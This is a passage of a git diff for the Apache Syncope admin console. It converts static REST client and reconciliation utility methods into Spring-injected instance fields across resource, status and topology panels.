getService(ResourceService.class).read(name); } - public static List list() { + public List list() { List resources = List.of(); try { resources = getService(ResourceService.class).list(); @@ -133,25 +135,25 @@ public static List list() { return resources; } - public static ResourceTO create(final ResourceTO resourceTO) { + public ResourceTO create(final ResourceTO resourceTO) { ResourceService service = getService(ResourceService.class); Response response = service.create(resourceTO); return getObject(service, response.getLocation(), ResourceTO.class); } - public static void update(final ResourceTO resourceTO) { + public void update(final ResourceTO resourceTO) { getService(ResourceService.class).update(resourceTO); } - public static void delete(final String name) { + public void delete(final String name) { getService(ResourceService.class).delete(name); } - public static void setLatestSyncToken(final String key, final String anyType) { + public void setLatestSyncToken(final String key, final String anyType) { getService(ResourceService.class).setLatestSyncToken(key, anyType); } - public static void removeSyncToken(final String key, final String anyType) { + public void removeSyncToken(final String key, final String anyType) { getService(ResourceService.class).removeSyncToken(key, anyType); } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusDirectoryPanel.java index 0b8007c45b8..ebd98628435 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusDirectoryPanel.java @@ -23,6 +23,7 @@ import java.util.List; import java.util.stream.Collectors; import org.apache.commons.lang3.tuple.Pair; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.IdMConstants; import org.apache.syncope.client.console.commons.status.AbstractStatusBeanProvider; import org.apache.syncope.client.console.panels.AjaxDataTablePanel; @@ -37,7 +38,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.panels.ModalPanel; import org.apache.syncope.client.ui.commons.status.Status; import org.apache.syncope.client.ui.commons.status.StatusBean; @@ -65,6 +65,7 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class AnyStatusDirectoryPanel extends DirectoryPanel, AbstractAnyRestClient> @@ -72,13 +73,28 @@ public class AnyStatusDirectoryPanel private static final long serialVersionUID = -9148734710505211261L; - private final MultilevelPanel multiLevelPanelRef; + @SpringBean + protected ResourceRestClient resourceRestClient; - private final AnyTO anyTO; + @SpringBean + protected ReconStatusUtils reconStatusUtils; - private final AnyTypeKind anyTypeKind; + @SpringBean + protected UserRestClient userRestClient; - private final boolean statusOnly; + @SpringBean + protected GroupRestClient groupRestClient; + + @SpringBean + protected AnyObjectRestClient anyObjectRestClient; + + protected final MultilevelPanel multiLevelPanelRef; + + protected final AnyTO anyTO; + + protected final AnyTypeKind anyTypeKind; + + protected final boolean statusOnly; private final List resources; @@ -89,24 +105,24 @@ public AnyStatusDirectoryPanel( final String itemKeyFieldName, final boolean statusOnly) { - super(MultilevelPanel.FIRST_LEVEL_ID, pageRef); + super(MultilevelPanel.FIRST_LEVEL_ID, null, pageRef); this.multiLevelPanelRef = multiLevelPanelRef; this.statusOnly = statusOnly; this.anyTO = anyTO; this.itemKeyFieldName = itemKeyFieldName; if (anyTO instanceof UserTO) { - this.restClient = new UserRestClient(); + this.restClient = userRestClient; anyTypeKind = AnyTypeKind.USER; } else if (anyTO instanceof GroupTO) { - this.restClient = new GroupRestClient(); + this.restClient = groupRestClient; anyTypeKind = AnyTypeKind.GROUP; } else { - this.restClient = new AnyObjectRestClient(); + this.restClient = anyObjectRestClient; anyTypeKind = AnyTypeKind.ANY_OBJECT; } - resources = ResourceRestClient.list().stream(). + resources = resourceRestClient.list().stream(). filter(resource -> resource.getProvision(anyTO.getType()).isPresent()). map(ResourceTO::getKey).collect(Collectors.toList()); @@ -313,7 +329,7 @@ protected List getStatusBeans(final long first, final long count) { List statusBeans = actual.getResources().stream().map(resource -> { List> statuses = List.of(); if (statusOnly) { - statuses = ReconStatusUtils.getReconStatuses(anyTO.getType(), anyTO.getKey(), List.of(resource)); + statuses = reconStatusUtils.getReconStatuses(anyTO.getType(), anyTO.getKey(), List.of(resource)); } return StatusUtils.getStatusBean(actual, diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusModal.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusModal.java index 166996da5b3..397cf84c539 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusModal.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/AnyStatusModal.java @@ -18,10 +18,10 @@ */ package org.apache.syncope.client.console.status; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.panels.MultilevelPanel; import org.apache.syncope.client.console.rest.AbstractAnyRestClient; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.status.StatusBean; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.wicket.PageReference; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/LinkedAccountStatusPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/LinkedAccountStatusPanel.java index beb6146a519..4b73d9cf5c3 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/LinkedAccountStatusPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/LinkedAccountStatusPanel.java @@ -28,16 +28,20 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class LinkedAccountStatusPanel extends RemoteObjectPanel { private static final long serialVersionUID = 7662852503618434902L; - private final String resource; + @SpringBean + protected ReconStatusUtils reconStatusUtils; - private final String anyTypeKey; + protected final String resource; - private final String connObjectKeyValue; + protected final String anyTypeKey; + + protected final String connObjectKeyValue; public LinkedAccountStatusPanel( final String resource, @@ -57,7 +61,7 @@ public LinkedAccountStatusPanel( @Override protected Pair getConnObjectTOs() { - Optional status = ReconStatusUtils.getReconStatus(anyTypeKey, connObjectKeyValue, resource); + Optional status = reconStatusUtils.getReconStatus(anyTypeKey, connObjectKeyValue, resource); return status.map(reconStatus -> Pair.of(reconStatus.getOnSyncope(), reconStatus.getOnResource())).orElse(null); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusPanel.java index 5a737f7b5f6..b7080c0032a 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusPanel.java @@ -28,16 +28,20 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ReconStatusPanel extends RemoteObjectPanel { private static final long serialVersionUID = 8000309881812037770L; - private final String resource; + @SpringBean + protected ReconStatusUtils reconStatusUtils; - private final String anyTypeKey; + protected final String resource; - private final String anyKey; + protected final String anyTypeKey; + + protected final String anyKey; public ReconStatusPanel( final String resource, @@ -58,7 +62,7 @@ public ReconStatusPanel( @Override protected Pair getConnObjectTOs() { List> statuses = - ReconStatusUtils.getReconStatuses(anyTypeKey, anyKey, List.of(resource)); + reconStatusUtils.getReconStatuses(anyTypeKey, anyKey, List.of(resource)); return statuses.isEmpty() ? null diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusUtils.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusUtils.java index 81d7879c27d..c42a10ab428 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusUtils.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconStatusUtils.java @@ -32,18 +32,24 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -public final class ReconStatusUtils implements Serializable { +public class ReconStatusUtils implements Serializable { private static final long serialVersionUID = -5411720003057109354L; private static final Logger LOG = LoggerFactory.getLogger(ReconStatusUtils.class); - public static Optional getReconStatus( + protected final ReconciliationRestClient reconciliationRestClient; + + public ReconStatusUtils(final ReconciliationRestClient reconciliationRestClient) { + this.reconciliationRestClient = reconciliationRestClient; + } + + public Optional getReconStatus( final String anyTypeKey, final String connObjectKeyValue, final String resource) { ReconStatus result = null; try { - result = ReconciliationRestClient.status(new ReconQuery.Builder(anyTypeKey, resource). + result = reconciliationRestClient.status(new ReconQuery.Builder(anyTypeKey, resource). fiql(ConnIdSpecialName.UID + "==" + connObjectKeyValue).build()); } catch (Exception e) { LOG.warn("Unexpected error for {} {} on {}", anyTypeKey, connObjectKeyValue, resource, e); @@ -51,12 +57,12 @@ public static Optional getReconStatus( return Optional.ofNullable(result); } - public static List> getReconStatuses( + public List> getReconStatuses( final String anyTypeKey, final String anyKey, final Collection resources) { return resources.stream().map(resource -> { try { - return Pair.of(resource, ReconciliationRestClient.status( + return Pair.of(resource, reconciliationRestClient.status( new ReconQuery.Builder(anyTypeKey, resource).anyKey(anyKey).build())); } catch (Exception e) { LOG.warn("Unexpected error for {} {} on {}", anyTypeKey, anyKey, resource, e); @@ -64,8 +70,4 @@ public static List> getReconStatuses( } }).filter(Objects::nonNull).collect(Collectors.toList()); } - - private ReconStatusUtils() { - // private constructor for static utility class - } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconTaskPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconTaskPanel.java index 1b7e76f473a..f30c6022f0e 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconTaskPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ReconTaskPanel.java @@ -18,12 +18,12 @@ */ package org.apache.syncope.client.console.status; -import java.util.Comparator; import java.util.Iterator; import java.util.List; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.apache.syncope.client.console.SyncopeConsoleSession; +import org.apache.syncope.client.console.SyncopeWebApplication; import org.apache.syncope.client.console.commons.RealmsUtils; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.panels.MultilevelPanel; @@ -56,6 +56,7 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -65,25 +66,34 @@ public class ReconTaskPanel extends MultilevelPanel.SecondLevel { protected static final Logger LOG = LoggerFactory.getLogger(ReconTaskPanel.class); - private final IModel> pullActions = new LoadableDetachableModel<>() { + @SpringBean + protected ImplementationRestClient implementationRestClient; + + @SpringBean + protected RealmRestClient realmRestClient; + + @SpringBean + protected ReconciliationRestClient reconciliationRestClient; + + protected final IModel> pullActions = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; - private final IModel> pushActions = new LoadableDetachableModel<>() { + protected final IModel> pushActions = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; @@ -116,10 +126,10 @@ public ReconTaskPanel( form.add(new Label("realm", "")); form.add(new Label("remediation", "")); } else { - boolean isSearchEnabled = RealmsUtils.isSearchEnabled(); + boolean fullRealmsTree = SyncopeWebApplication.get().fullRealmsTree(realmRestClient); AutoCompleteSettings settings = new AutoCompleteSettings(); - settings.setShowCompleteListOnFocusGain(!isSearchEnabled); - settings.setShowListOnEmptyInput(!isSearchEnabled); + settings.setShowCompleteListOnFocusGain(fullRealmsTree); + settings.setShowListOnEmptyInput(fullRealmsTree); AjaxSearchFieldPanel realm = new AjaxSearchFieldPanel( "realm", "destinationRealm", new PropertyModel<>(taskTO, "destinationRealm"), settings) { @@ -129,11 +139,10 @@ public ReconTaskPanel( @Override protected Iterator getChoices(final String input) { return (RealmsUtils.checkInput(input) - ? (isSearchEnabled - ? RealmRestClient.search(RealmsUtils.buildQuery(input)).getResult() - : RealmRestClient.list(SyncopeConstants.ROOT_REALM)) + ? (realmRestClient.search(fullRealmsTree + ? RealmsUtils.buildBaseQuery() + : RealmsUtils.buildKeywordQuery(input)).getResult()) : List.of()).stream(). - sorted(Comparator.comparing(RealmTO::getName)). map(RealmTO::getFullPath).collect(Collectors.toList()).iterator(); } }; @@ -202,9 +211,9 @@ protected void onSubmit(final AjaxRequestTarget target) { ReconQuery reconQuery = new ReconQuery.Builder(anyType, resource).anyKey(anyKey).fiql(fiql).build(); try { if (taskTO instanceof PushTaskTO) { - ReconciliationRestClient.push(reconQuery, (PushTaskTO) form.getModelObject()); + reconciliationRestClient.push(reconQuery, (PushTaskTO) form.getModelObject()); } else { - ReconciliationRestClient.pull(reconQuery, (PullTaskTO) form.getModelObject()); + reconciliationRestClient.pull(reconQuery, (PullTaskTO) form.getModelObject()); } SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusDirectoryPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusDirectoryPanel.java index bff2bbba544..0711f28066b 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusDirectoryPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusDirectoryPanel.java @@ -24,6 +24,7 @@ import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.commons.IdMConstants; import org.apache.syncope.client.console.commons.status.AbstractStatusBeanProvider; import org.apache.syncope.client.console.panels.AjaxDataTablePanel; @@ -37,7 +38,6 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.panels.ModalPanel; import org.apache.syncope.client.ui.commons.status.StatusBean; import org.apache.syncope.client.ui.commons.status.StatusUtils; @@ -57,6 +57,7 @@ import org.apache.wicket.extensions.markup.html.repeater.data.table.PropertyColumn; import org.apache.wicket.model.IModel; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ResourceStatusDirectoryPanel extends DirectoryPanel, AbstractAnyRestClient> @@ -64,11 +65,20 @@ public class ResourceStatusDirectoryPanel private static final long serialVersionUID = -9148734710505211261L; - private final MultilevelPanel multiLevelPanelRef; + @SpringBean + protected UserRestClient userRestClient; - private String type; + @SpringBean + protected GroupRestClient groupRestClient; - private final ResourceTO resource; + @SpringBean + protected AnyObjectRestClient anyObjectRestClient; + + protected final MultilevelPanel multiLevelPanelRef; + + protected String type; + + protected final ResourceTO resource; public ResourceStatusDirectoryPanel( final MultilevelPanel multiLevelPanelRef, @@ -76,7 +86,7 @@ public ResourceStatusDirectoryPanel( final String type, final ResourceTO resource) { - super(MultilevelPanel.FIRST_LEVEL_ID, pageRef); + super(MultilevelPanel.FIRST_LEVEL_ID, null, pageRef); this.multiLevelPanelRef = multiLevelPanelRef; this.type = type; this.resource = resource; @@ -184,18 +194,22 @@ public void updateResultTable(final String type, final AjaxRequestTarget target) if (StringUtils.isNotBlank(type)) { switch (type) { case "USER": - this.restClient = new UserRestClient(); + restClient = userRestClient; break; case "GROUP": - this.restClient = new GroupRestClient(); + restClient = groupRestClient; break; default: - this.restClient = new AnyObjectRestClient(); + restClient = anyObjectRestClient; } } + synchronized (this) { + dataProvider = dataProvider(); + } + super.updateResultTable(target); } @@ -241,17 +255,17 @@ public ResourceStatusDataProvider(final int paginatorRows) { switch (type) { case "USER": bld = SyncopeClient.getUserSearchConditionBuilder(); - restClient = new UserRestClient(); + restClient = userRestClient; break; case "GROUP": bld = SyncopeClient.getGroupSearchConditionBuilder(); - restClient = new GroupRestClient(); + restClient = groupRestClient; break; default: bld = SyncopeClient.getAnyObjectSearchConditionBuilder(type); - restClient = new AnyObjectRestClient(); + restClient = anyObjectRestClient; } fiql = bld.isNotNull(Constants.KEY_FIELD_NAME).query(); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusModal.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusModal.java index 3ab581b962b..4f63ecd5a48 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusModal.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/ResourceStatusModal.java @@ -20,12 +20,12 @@ import java.util.List; import java.util.stream.Collectors; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.panels.MultilevelPanel; import org.apache.syncope.client.console.rest.AbstractAnyRestClient; import org.apache.syncope.client.console.rest.AnyTypeRestClient; import org.apache.syncope.client.ui.commons.Constants; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; import org.apache.syncope.client.ui.commons.status.StatusBean; import org.apache.syncope.common.lib.to.Provision; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/StatusModal.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/StatusModal.java index a723ffaea31..5665cb223d8 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/status/StatusModal.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/status/StatusModal.java @@ -18,11 +18,11 @@ */ package org.apache.syncope.client.console.status; +import org.apache.syncope.client.console.commons.DirectoryDataProvider; import org.apache.syncope.client.console.panels.DirectoryPanel; import org.apache.syncope.client.console.panels.MultilevelPanel; import org.apache.syncope.client.console.rest.AbstractAnyRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; -import org.apache.syncope.client.ui.commons.DirectoryDataProvider; import org.apache.syncope.client.ui.commons.panels.ModalPanel; import org.apache.syncope.client.ui.commons.status.StatusBean; import org.apache.syncope.common.lib.to.EntityTO; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TabularTopology.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TabularTopology.java index 02ae460c80e..58eae319b48 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TabularTopology.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TabularTopology.java @@ -21,11 +21,11 @@ import de.agilecoders.wicket.core.markup.html.bootstrap.tabs.AjaxBootstrapTabbedPanel; import java.util.ArrayList; import java.util.List; -import org.apache.syncope.client.console.annotations.IdMPage; import org.apache.syncope.client.console.pages.BasePage; import org.apache.syncope.client.console.pages.Connectors; import org.apache.syncope.client.console.pages.Resources; import org.apache.syncope.client.console.panels.ConnidLocations; +import org.apache.syncope.client.ui.commons.annotations.IdMPage; import org.apache.syncope.common.lib.types.IdMEntitlement; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; import org.apache.wicket.extensions.markup.html.tabs.ITab; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/Topology.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/Topology.java index 28b6e60d111..7ee69b6aff1 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/Topology.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/Topology.java @@ -37,9 +37,7 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeConsoleSession; -import org.apache.syncope.client.console.annotations.IdMPage; import org.apache.syncope.client.console.pages.BasePage; -import org.apache.syncope.client.console.rest.BaseRestClient; import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.wicket.markup.html.WebMarkupContainerNoVeil; @@ -48,9 +46,11 @@ import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; import org.apache.syncope.client.console.wizards.resources.AbstractResourceWizardBuilder.CreateEvent; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.annotations.IdMPage; import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.types.IdMEntitlement; +import org.apache.syncope.common.rest.api.service.SyncopeService; import org.apache.wicket.Component; import org.apache.wicket.ajax.AbstractAjaxTimerBehavior; import org.apache.wicket.ajax.AjaxEventBehavior; @@ -63,6 +63,7 @@ import org.apache.wicket.markup.html.list.ListItem; import org.apache.wicket.markup.html.list.ListView; import org.apache.wicket.model.LoadableDetachableModel; +import org.apache.wicket.spring.injection.annot.SpringBean; @IdMPage(label = "Topology", icon = "fas fa-plug", listEntitlement = IdMEntitlement.RESOURCE_LIST, priority = 0) public class Topology extends BasePage { @@ -71,73 +72,79 @@ public class Topology extends BasePage { public static final String CONNECTOR_SERVER_LOCATION_PREFIX = "connid://"; - private final int origX = 3100; + @SpringBean + protected ResourceRestClient resourceRestClient; - private final int origY = 2800; + @SpringBean + protected ConnectorRestClient connectorRestClient; - private final BaseModal modal; + protected final int origX = 3100; - private final WebMarkupContainer newlyCreatedContainer; + protected final int origY = 2800; - private final ListView newlyCreated; + protected final BaseModal modal; - private final TopologyTogglePanel togglePanel; + protected final WebMarkupContainer newlyCreatedContainer; - private final LoadableDetachableModel> resModel = new LoadableDetachableModel<>() { + protected final ListView newlyCreated; + + protected final TopologyTogglePanel togglePanel; + + protected final LoadableDetachableModel> resModel = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157431L; @Override protected List load() { - return ResourceRestClient.list(); + return resourceRestClient.list(); } }; - private final LoadableDetachableModel>> connModel = - new LoadableDetachableModel<>() { - - private static final long serialVersionUID = 5275935387613157432L; - - @Override - protected Map> load() { - final Map> res = new HashMap<>(); + protected final LoadableDetachableModel>> connModel = + new LoadableDetachableModel<>() { - ConnectorRestClient.getAllConnectors().forEach(conn -> { - List conns; - if (res.containsKey(conn.getLocation())) { - conns = res.get(conn.getLocation()); - } else { - conns = new ArrayList<>(); - res.put(conn.getLocation(), conns); - } - conns.add(conn); - }); + private static final long serialVersionUID = 5275935387613157432L; - return res; - } - }; + @Override + protected Map> load() { + final Map> res = new HashMap<>(); + + connectorRestClient.getAllConnectors().forEach(conn -> { + List conns; + if (res.containsKey(conn.getLocation())) { + conns = res.get(conn.getLocation()); + } else { + conns = new ArrayList<>(); + res.put(conn.getLocation(), conns); + } + conns.add(conn); + }); - private final LoadableDetachableModel, List>> csModel = - new LoadableDetachableModel<>() { + return res; + } + }; - private static final long serialVersionUID = 5275935387613157433L; + protected final LoadableDetachableModel, List>> csModel = + new LoadableDetachableModel<>() { - @Override - protected Pair, List> load() { - final List connectorServers = new ArrayList<>(); - final List filePaths = new ArrayList<>(); + private static final long serialVersionUID = 5275935387613157433L; - SyncopeConsoleSession.get().getPlatformInfo().getConnIdLocations().forEach(location -> { - if (location.startsWith(CONNECTOR_SERVER_LOCATION_PREFIX)) { - connectorServers.add(URI.create(location)); - } else { - filePaths.add(URI.create(location)); - } - }); + @Override + protected Pair, List> load() { + final List connectorServers = new ArrayList<>(); + final List filePaths = new ArrayList<>(); + + SyncopeConsoleSession.get().getPlatformInfo().getConnIdLocations().forEach(location -> { + if (location.startsWith(CONNECTOR_SERVER_LOCATION_PREFIX)) { + connectorServers.add(URI.create(location)); + } else { + filePaths.add(URI.create(location)); + } + }); - return Pair.of(connectorServers, filePaths); - } - }; + return Pair.of(connectorServers, filePaths); + } + }; protected enum SupportedOperation { @@ -193,7 +200,7 @@ public void onClick(final AjaxRequestTarget target, final Serializable ignore) { syncopeTopologyNode.setX(origX); syncopeTopologyNode.setY(origY); - URI uri = WebClient.client(BaseRestClient.getSyncopeService()).getBaseURI(); + URI uri = WebClient.client(SyncopeConsoleSession.get().getService(SyncopeService.class)).getBaseURI(); syncopeTopologyNode.setHost(uri.getHost()); syncopeTopologyNode.setPort(uri.getPort()); @@ -290,65 +297,65 @@ protected void populateItem(final ListItem item) { // Add Connector Intances // ----------------------------------------- ListView> conns = - new ListView<>("conns", new ArrayList<>(connModel.getObject().values())) { + new ListView<>("conns", new ArrayList<>(connModel.getObject().values())) { - private static final long serialVersionUID = 697862187148836036L; + private static final long serialVersionUID = 697862187148836036L; - @Override - protected void populateItem(final ListItem> item) { - int size = item.getModelObject().size() + 1; + @Override + protected void populateItem(final ListItem> item) { + int size = item.getModelObject().size() + 1; - ListView conns = new ListView<>("conns", item.getModelObject()) { + ListView conns = new ListView<>("conns", item.getModelObject()) { - private static final long serialVersionUID = 6978621871488360381L; + private static final long serialVersionUID = 6978621871488360381L; - @Override - protected void populateItem(final ListItem item) { - ConnInstanceTO conn = item.getModelObject(); + @Override + protected void populateItem(final ListItem item) { + ConnInstanceTO conn = item.getModelObject(); - TopologyNode topologynode = new TopologyNode( + TopologyNode topologynode = new TopologyNode( conn.getKey(), StringUtils.isBlank(conn.getDisplayName()) // [SYNCOPE-1233] - ? conn.getBundleName() : conn.getDisplayName(), + ? conn.getBundleName() : conn.getDisplayName(), TopologyNode.Kind.CONNECTOR); - // Define the parent note - TopologyNode parent = servers.get(conn.getLocation()); + // Define the parent note + TopologyNode parent = servers.get(conn.getLocation()); - // Set the position - int kx = size >= 6 ? 800 : (130 * size); + // Set the position + int kx = size >= 6 ? 800 : (130 * size); - double hpos = conn.getLocation(). + double hpos = conn.getLocation(). startsWith(CONNECTOR_SERVER_LOCATION_PREFIX) ? Math.PI : 0.0; - int x = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getX).orElse(origX)) + int x = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getX).orElse(origX)) + kx * Math.cos(hpos + Math.PI * (item.getIndex() + 1) / size)); - int y = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getY).orElse(origY)) + int y = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getY).orElse(origY)) + 100 * Math.sin(hpos + Math.PI * (item.getIndex() + 1) / size)); - topologynode.setConnectionDisplayName(conn.getBundleName()); - topologynode.setX(x); - topologynode.setY(y); - - connectors.put(String.class.cast(topologynode.getKey()), topologynode); - item.add(topologyNodePanel("conn", topologynode, conn.isErrored())); - - // Update connections - Map remoteConnections; - if (connections.containsKey(conn.getLocation())) { - remoteConnections = connections.get(conn.getLocation()); - } else { - remoteConnections = new HashMap<>(); - connections.put(conn.getLocation(), remoteConnections); - } - remoteConnections.put(conn.getKey(), topologynode); + topologynode.setConnectionDisplayName(conn.getBundleName()); + topologynode.setX(x); + topologynode.setY(y); + + connectors.put(String.class.cast(topologynode.getKey()), topologynode); + item.add(topologyNodePanel("conn", topologynode, conn.isErrored())); + + // Update connections + Map remoteConnections; + if (connections.containsKey(conn.getLocation())) { + remoteConnections = connections.get(conn.getLocation()); + } else { + remoteConnections = new HashMap<>(); + connections.put(conn.getLocation(), remoteConnections); } - }; + remoteConnections.put(conn.getKey(), topologynode); + } + }; - conns.setOutputMarkupId(true); - item.add(conns); - } - }; + conns.setOutputMarkupId(true); + item.add(conns); + } + }; conns.setOutputMarkupId(true); body.add(conns); @@ -394,7 +401,7 @@ protected void populateItem(final ListItem item) { String connectorKey = item.getModelObject(); ListView innerListView = new ListView<>("resources", - new ArrayList<>(connections.get(connectorKey).values())) { + new ArrayList<>(connections.get(connectorKey).values())) { private static final long serialVersionUID = -3447760771863754342L; @@ -412,9 +419,9 @@ protected void populateItem(final ListItem item) { double hpos = (parent == null || parent.getY() < syncopeTopologyNode.getY()) ? Math.PI : 0.0; int x = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getX).orElse(origX)) - + kx * Math.cos(hpos + Math.PI * (item.getIndex() + 1) / size)); + + kx * Math.cos(hpos + Math.PI * (item.getIndex() + 1) / size)); int y = (int) Math.round((Optional.ofNullable(parent).map(TopologyNode::getY).orElse(origY)) - + ky * Math.sin(hpos + Math.PI * (item.getIndex() + 1) / size)); + + ky * Math.sin(hpos + Math.PI * (item.getIndex() + 1) / size)); topologynode.setX(x); topologynode.setY(y); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyNodePanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyNodePanel.java index 6613f475408..e2f773deb86 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyNodePanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyNodePanel.java @@ -30,14 +30,18 @@ import org.apache.wicket.event.IEvent; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class TopologyNodePanel extends Panel implements IAjaxIndicatorAware { private static final long serialVersionUID = -8775095410207013913L; - private final Label label; + @SpringBean + protected ConnectorRestClient connectorRestClient; - private final TopologyNode node; + 